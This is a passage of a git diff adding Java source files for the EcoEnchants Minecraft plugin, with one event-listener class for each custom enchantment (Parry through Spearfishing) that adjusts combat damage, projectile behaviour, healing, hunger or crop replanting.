com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; + +@SuppressWarnings("deprecation") +public class Parry extends EcoEnchant { + public Parry() { + super( + new EcoEnchantBuilder("parry", EnchantmentType.NORMAL, Target.Applicable.SWORD, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void parryHit(EntityDamageByEntityEvent event) { + if (!(event.getEntity() instanceof Player)) + return; + + if (event.isCancelled()) + return; + + Player player = (Player) event.getEntity(); + + if (!HasEnchant.playerHeld(player, this)) return; + + int level = HasEnchant.getPlayerLevel(player, this); + + double damage = event.getDamage(); + double multiplier = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "damage-multiplier-per-level"); + double reduction = 1 - (multiplier * level); + event.setDamage(damage * reduction); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Protector.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Protector.java new file mode 100644 index 00000000..b4e54cf8 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Protector.java @@ -0,0 +1,38 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.entity.Player; +import org.bukkit.entity.Tameable; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; + +@SuppressWarnings("deprecation") +public class Protector extends EcoEnchant { + public Protector() { + super( + new EcoEnchantBuilder("protector", EnchantmentType.NORMAL, new Target.Applicable[]{Target.Applicable.SWORD, Target.Applicable.AXE}, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void protectorHit(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Player)) + return; + if (!(event.getEntity() instanceof Tameable)) + return; + + Player player = (Player) event.getDamager(); + Tameable entity = (Tameable) event.getEntity(); + if(entity.getOwner() == null) return; + if(!entity.getOwner().equals(player)) return; + + if (!HasEnchant.playerHeld(player, this)) return; + + event.setCancelled(true); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Proximity.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Proximity.java new file mode 100644 index 00000000..f79dc02b --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Proximity.java @@ -0,0 +1,48 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; + +@SuppressWarnings("deprecation") +public class Proximity extends EcoEnchant { + public Proximity() { + super( + new EcoEnchantBuilder("proximity", EnchantmentType.NORMAL, Target.Applicable.SWORD, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void proximityHit(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Player)) + return; + if (!(event.getEntity() instanceof LivingEntity)) + return; + + Player player = (Player) event.getDamager(); + + LivingEntity victim = (LivingEntity) event.getEntity(); + + if (!HasEnchant.playerHeld(player, this)) return; + + double distance = player.getLocation().distance(victim.getLocation()); + + double decreaseAfter = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "when-closer-than-blocks"); + + int level = HasEnchant.getPlayerLevel(player, this); + + if(distance <= decreaseAfter) { + double multiplier = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "percent-more-per-level"); + double finalMultiplier = (multiplier/100 * level) +1; + event.setDamage(event.getDamage() * finalMultiplier); + } + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Puncture.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Puncture.java new file mode 100644 index 00000000..b3611201 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Puncture.java @@ -0,0 +1,57 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.nms.TridentStack; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.entity.*; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; +import org.bukkit.inventory.ItemStack; + +@SuppressWarnings("deprecation") +public class Puncture extends EcoEnchant { + public Puncture() { + super( + new EcoEnchantBuilder("puncture", EnchantmentType.NORMAL, Target.Applicable.TRIDENT, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onHit(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Trident)) + return; + + if(!(((Trident) event.getDamager()).getShooter() instanceof Player)) + return; + + if (!(event.getEntity() instanceof LivingEntity)) + return; + + if (event.isCancelled()) + return; + + Player player = (Player) ((Trident) event.getDamager()).getShooter(); + Trident trident = (Trident) event.getDamager(); + ItemStack item = TridentStack.getTridentStack(trident); + + LivingEntity victim = (LivingEntity) event.getEntity(); + + if(!(victim instanceof Turtle || victim instanceof Shulker)) + return; + + if (!HasEnchant.item(item, this)) return; + + int level = HasEnchant.getItemLevel(item, this); + + double perLevelDamage = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "percent-more-per-level"); + + double totalDamagePercent = (100 + (perLevelDamage * level))/100; + + event.setDamage(event.getDamage() * totalDamagePercent); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Radiance.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Radiance.java new file mode 100644 index 00000000..9c16d4b4 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Radiance.java @@ -0,0 +1,54 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.entity.Arrow; +import org.bukkit.entity.Entity; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.ProjectileHitEvent; +import org.bukkit.potion.PotionEffect; +import org.bukkit.potion.PotionEffectType; + +@SuppressWarnings("deprecation") +public class Radiance extends EcoEnchant { + public Radiance() { + super( + new EcoEnchantBuilder("radiance", EnchantmentType.NORMAL, new Target.Applicable[]{Target.Applicable.BOW, Target.Applicable.CROSSBOW}, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onLand(ProjectileHitEvent event) { + if (!(event.getEntity().getShooter() instanceof Player)) + return; + + if (!(event.getEntity() instanceof Arrow)) return; + + Arrow arrow = (Arrow) event.getEntity(); + Player player = (Player) event.getEntity().getShooter(); + + if (!HasEnchant.playerHeld(player, this)) return; + + int level = HasEnchant.getPlayerLevel(player, this); + + double radius = level * this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "radius-multiplier"); + int duration = level * this.getConfig().getInt(EcoEnchants.CONFIG_LOCATION + "duration-per-level"); + + for (Entity e : arrow.getNearbyEntities(radius, radius, radius)) { + if(e.hasMetadata("NPC")) continue; + + if (!(e instanceof LivingEntity)) continue; + LivingEntity entity = (LivingEntity) e; + if(e.equals(player)) continue; + + entity.addPotionEffect(new PotionEffect(PotionEffectType.GLOWING, duration, 0, false, false, false)); + } + } +} \ No newline at end of file diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Rapid.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Rapid.java new file mode 100644 index 00000000..40f994a4 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Rapid.java @@ -0,0 +1,45 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.entity.EntityType; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityShootBowEvent; + +@SuppressWarnings("deprecation") +public class Rapid extends EcoEnchant { + public Rapid() { + super( + new EcoEnchantBuilder("rapid", EnchantmentType.NORMAL, Target.Applicable.BOW, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onRapidShoot(EntityShootBowEvent event) { + if (event.getProjectile().getType() != EntityType.ARROW) + return; + + if (!(event.getEntity() instanceof Player)) + return; + + Player player = (Player) event.getEntity(); + + if (!HasEnchant.playerHeld(player, this)) return; + + int level = HasEnchant.getPlayerLevel(player, this); + + double multiplier = 1 - ((this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "percent-faster-per-level")/100) * level); + + if(event.getForce() < multiplier) + return; + + double force = 1/event.getForce(); + event.getProjectile().setVelocity(event.getProjectile().getVelocity().multiply(force)); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Reel.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Reel.java new file mode 100644 index 00000000..4847e5fc --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Reel.java @@ -0,0 +1,49 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.AntiGrief; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.player.PlayerFishEvent; +import org.bukkit.util.Vector; + +@SuppressWarnings("deprecation") +public class Reel extends EcoEnchant { + public Reel() { + super( + new EcoEnchantBuilder("reel", EnchantmentType.NORMAL, Target.Applicable.ROD, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onFish(PlayerFishEvent event) { + if(!event.getState().equals(PlayerFishEvent.State.CAUGHT_ENTITY)) + return; + + if(!(event.getCaught() instanceof LivingEntity)) + return; + + Player player = event.getPlayer(); + + LivingEntity victim = (LivingEntity) event.getCaught(); + + if(victim.hasMetadata("NPC")) return; + + if(!AntiGrief.canInjureMob(player, victim)) return; + + if (!HasEnchant.playerHeld(player, this)) return; + + int level = HasEnchant.getPlayerLevel(player, this); + + double baseMultiplier = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "velocity-multiplier"); + Vector vector = player.getLocation().toVector().clone().subtract(victim.getLocation().toVector()).normalize().multiply(level * baseMultiplier); + victim.setVelocity(vector); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Reinforcement.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Reinforcement.java new file mode 100644 index 00000000..d810da9d --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Reinforcement.java @@ -0,0 +1,39 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageEvent; + +@SuppressWarnings("deprecation") +public class Reinforcement extends EcoEnchant { + public Reinforcement() { + super( + new EcoEnchantBuilder("reinforcement", EnchantmentType.NORMAL, Target.Applicable.ELYTRA, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onReinforcementHurt(EntityDamageEvent event) { + if(event.getCause().equals(EntityDamageEvent.DamageCause.FALL)) return; + + if(!(event.getEntity() instanceof Player)) + return; + + Player player = (Player) event.getEntity(); + + if(!HasEnchant.playerElytra(player, this)) return; + + int level = HasEnchant.getPlayerChestplateLevel(player, this); + + double reduction = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "reduction-per-level"); + double multiplier = 1 - ((reduction/100) * level); + event.setDamage(event.getDamage() * multiplier); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Rejuvenation.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Rejuvenation.java new file mode 100644 index 00000000..746a657c --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Rejuvenation.java @@ -0,0 +1,43 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityRegainHealthEvent; + +@SuppressWarnings("deprecation") +public class Rejuvenation extends EcoEnchant { + public Rejuvenation() { + super( + new EcoEnchantBuilder("rejuvenation", EnchantmentType.NORMAL, Target.Applicable.ARMOR, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onRejuvenationHeal(EntityRegainHealthEvent event) { + if (!(event.getEntity() instanceof Player)) + return; + + if (!event.getRegainReason().equals(EntityRegainHealthEvent.RegainReason.SATIATED) && !event.getRegainReason().equals(EntityRegainHealthEvent.RegainReason.REGEN)) + return; + + Player player = (Player) event.getEntity(); + + int totalRejuvenationPoints = HasEnchant.getArmorPoints(player, this, false); + + if (totalRejuvenationPoints == 0) + return; + + double amount = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "per-point-multiplier"); + amount = amount * totalRejuvenationPoints; + amount += 1; + + event.setAmount(event.getAmount() * amount); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Replenish.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Replenish.java new file mode 100644 index 00000000..fdc3ddfe --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Replenish.java @@ -0,0 +1,54 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.Main; +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.AntiGrief; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.Material; +import org.bukkit.block.Block; +import org.bukkit.block.data.Ageable; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.block.BlockBreakEvent; +import org.bukkit.scheduler.BukkitRunnable; + +@SuppressWarnings("deprecation") +public class Replenish extends EcoEnchant { + public Replenish() { + super( + new EcoEnchantBuilder("replenish", EnchantmentType.NORMAL, Target.Applicable.HOE, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onCropBreak(BlockBreakEvent event) { + Player player = event.getPlayer(); + Block block = event.getBlock(); + Material type = block.getType(); + + if(!HasEnchant.playerHeld(player, this)) return; + + if(!AntiGrief.canBreakBlock(player, block)) return; + if(event.isCancelled()) return; + + if(!(block.getBlockData() instanceof Ageable)) return; + + Ageable data = (Ageable) block.getBlockData(); + if(data.getAge() != data.getMaximumAge()) return; + + data.setAge(0); + + + new BukkitRunnable() { + @Override + public void run() { + block.setType(type); + block.setBlockData(data); + } + }.runTaskLater(Main.getInstance(), 1); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Sating.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Sating.java new file mode 100644 index 00000000..f16d7bea --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Sating.java @@ -0,0 +1,42 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import com.willfp.ecoenchants.util.Rand; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.FoodLevelChangeEvent; + +@SuppressWarnings("deprecation") +public class Sating extends EcoEnchant { + public Sating() { + super( + new EcoEnchantBuilder("sating", EnchantmentType.NORMAL, Target.Applicable.HELMET, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onSatingHunger(FoodLevelChangeEvent event) { + if (!(event.getEntity() instanceof Player)) + return; + + Player player = (Player) event.getEntity(); + + if(!HasEnchant.playerHelmet(player, this)) return; + if(event.getFoodLevel() > player.getFoodLevel()) return; + + int level = HasEnchant.getPlayerHelmetLevel(player, this); + + double chance = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "chance-per-level"); + + if (Rand.randFloat(0, 1) > level * 0.01 * chance) + return; + + event.setCancelled(true); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Serrated.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Serrated.java new file mode 100644 index 00000000..26da922b --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Serrated.java @@ -0,0 +1,56 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.nms.TridentStack; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.entity.Trident; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; +import org.bukkit.inventory.ItemStack; + +@SuppressWarnings("deprecation") +public class Serrated extends EcoEnchant { + public Serrated() { + super( + new EcoEnchantBuilder("serrated", EnchantmentType.NORMAL, Target.Applicable.TRIDENT, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void serratedHit(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Trident)) + return; + + if(!(((Trident) event.getDamager()).getShooter() instanceof Player)) + return; + + if (!(event.getEntity() instanceof LivingEntity)) + return; + + if (event.isCancelled()) + return; + + Player player = (Player) ((Trident) event.getDamager()).getShooter(); + Trident trident = (Trident) event.getDamager(); + ItemStack item = TridentStack.getTridentStack(trident); + + + if (!HasEnchant.item(item, this)) return; + + int level = HasEnchant.getItemLevel(item, this); + + double baseDamage = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "percent-more-base"); + double perLevelDamage = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "percent-more-per-level"); + + double totalDamagePercent = (100 + baseDamage + (perLevelDamage * level))/100; + + event.setDamage(event.getDamage() * totalDamagePercent); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Shockwave.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Shockwave.java new file mode 100644 index 00000000..feb0a7a7 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Shockwave.java @@ -0,0 +1,73 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.Main; +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.nms.TridentStack; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.Bukkit; +import org.bukkit.entity.AbstractArrow; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.entity.Trident; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.ProjectileLaunchEvent; +import org.bukkit.inventory.ItemStack; +import org.bukkit.metadata.FixedMetadataValue; +import org.bukkit.scheduler.BukkitRunnable; + +@SuppressWarnings("deprecation") +public class Shockwave extends EcoEnchant { + public Shockwave() { + super( + new EcoEnchantBuilder("shockwave", EnchantmentType.NORMAL, Target.Applicable.BOW, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onShoot(ProjectileLaunchEvent event) { + if (!(event.getEntity() instanceof AbstractArrow)) + return; + + if(!(event.getEntity().getShooter() instanceof Player)) return; + Player player = (Player) event.getEntity().getShooter(); + + AbstractArrow entity = (AbstractArrow) event.getEntity(); + ItemStack item = player.getInventory().getItemInMainHand(); + if(entity instanceof Trident) { + item = TridentStack.getTridentStack((Trident) entity); + } + + if (!HasEnchant.item(item, this)) return; + + int ticks = this.getConfig().getInt(EcoEnchants.CONFIG_LOCATION + "particle-tick-delay"); + + int level = HasEnchant.getPlayerLevel(player, this); + double damage = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "damage-per-level"); + damage *= level; + final double finalDamage = damage; + + new BukkitRunnable() { + @Override + public void run() { + if(entity.isOnGround() || entity.isInBlock() || entity.isDead()) this.cancel(); + entity.getNearbyEntities(1.5, 1.5, 1.5).stream() + .filter(entity1 -> entity1 instanceof LivingEntity) + .filter(entity1 -> entity1 != player) + .filter(entity1 -> !entity1.hasMetadata("shockwaved")) + .forEach((mob -> { + ((LivingEntity) mob).damage(finalDamage, player); + mob.setMetadata("shockwaved", new FixedMetadataValue(Main.getInstance(), true)); + Bukkit.getScheduler().runTaskLater(Main.getInstance(), () -> { + mob.removeMetadata("shockwaved", Main.getInstance()); + }, 10); + } + )); + } + }.runTaskTimer(Main.getInstance(), 4, ticks); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/ShotAssist.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/ShotAssist.java new file mode 100644 index 00000000..0c0451b9 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/ShotAssist.java @@ -0,0 +1,48 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.entity.Arrow; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; + +@SuppressWarnings("deprecation") +public class ShotAssist extends EcoEnchant { + public ShotAssist() { + super( + new EcoEnchantBuilder("shot_assist", EnchantmentType.NORMAL, Target.Applicable.ARMOR, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onHit(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Arrow)) + return; + if(!(((Arrow) event.getDamager()).getShooter() instanceof Player)) + return; + if (!(event.getEntity() instanceof LivingEntity)) + return; + + if(event.isCancelled()) return; + + Player player = (Player) ((Arrow) event.getDamager()).getShooter(); + + LivingEntity victim = (LivingEntity) event.getEntity(); + + int points = HasEnchant.getArmorPoints(player, this, true); + + if(points == 0) return; + + double damage = event.getDamage(); + double multiplier = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "damage-multiplier-per-level"); + double reduction = 1 + (multiplier * points); + event.setDamage(damage * reduction); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Slicing.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Slicing.java new file mode 100644 index 00000000..14790f93 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Slicing.java @@ -0,0 +1,66 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.Main; +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import com.willfp.ecoenchants.util.ItemDurability; +import org.bukkit.Bukkit; +import org.bukkit.entity.Entity; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.player.PlayerMoveEvent; + +import java.util.ArrayList; + +@SuppressWarnings("deprecation") +public class Slicing extends EcoEnchant { + public Slicing() { + super( + new EcoEnchantBuilder("slicing", EnchantmentType.NORMAL, Target.Applicable.ELYTRA, 4.0) + ); + } + + // START OF LISTENERS + + ArrayList entities = new ArrayList(); + + @EventHandler + public void onPlayerCollide(PlayerMoveEvent event) { + Player player = event.getPlayer(); + + if (!player.isGliding()) + return; + + if (!HasEnchant.playerElytra(player, this)) return; + + for (Entity entity : player.getNearbyEntities(1, 1, 1)) { + LivingEntity victim; + if (entity instanceof LivingEntity) { + victim = (LivingEntity) entity; + } else { + continue; + } + + if (entities.contains(victim)) + continue; + + double damage = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "damage-per-level"); + int level = HasEnchant.getPlayerLevel(player, this); + victim.damage(level * damage, player); + entities.add(victim); + + Bukkit.getServer().getScheduler().runTaskLater(Main.getInstance(), new Runnable() { + public void run() { + entities.remove(victim); + } + }, this.getConfig().getInt(EcoEnchants.CONFIG_LOCATION + "cooldown")); + if (this.getConfig().getBool(EcoEnchants.CONFIG_LOCATION + "damage-elytra")) { + ItemDurability.damageItem(player, player.getInventory().getChestplate(), 1, 38); + } + } + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Spearfishing.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Spearfishing.java new file mode 100644 index 00000000..2977aae3 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Spearfishing.java @@ -0,0 +1,74 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.nms.TridentStack; +import com.willfp.ecoenchants.queue.DropQueue; +import com.willfp.ecoenchants.util.HasEnchant; +import com.willfp.ecoenchants.util.Rand; +import org.bukkit.Material; +import org.bukkit.entity.EntityType; +import org.bukkit.entity.Player; +import org.bukkit.entity.Trident; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.ProjectileHitEvent; +import org.bukkit.inventory.ItemStack; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; +import java.util.Random; + +@SuppressWarnings("deprecation") +public class Spearfishing extends EcoEnchant { + public Spearfishing() { + super( + new EcoEnchantBuilder("spearfishing", EnchantmentType.NORMAL, Target.Applicable.TRIDENT, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onSpearfishingLand(ProjectileHitEvent event) { + if (event.getEntityType() != EntityType.TRIDENT) + return; + + if (!(event.getEntity().getShooter() instanceof Player)) + return; + + if (!(event.getEntity() instanceof Trident)) return; + + Trident trident = (Trident) event.getEntity(); + + if(!trident.getWorld().getBlockAt(trident.getLocation().add(0, 0.2, 0)).getType().equals(Material.WATER)) + return; + + Player player = (Player) event.getEntity().getShooter(); + + ItemStack item = TridentStack.getTridentStack(trident); + + if (!HasEnchant.item(item, this)) return; + + int level = HasEnchant.getItemLevel(item, this); + + double chance = level * (this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "chance-per-level")/100); + if(Rand.randFloat(0, 1) > chance) return; + + List potentialDrops = new ArrayList<>(); + 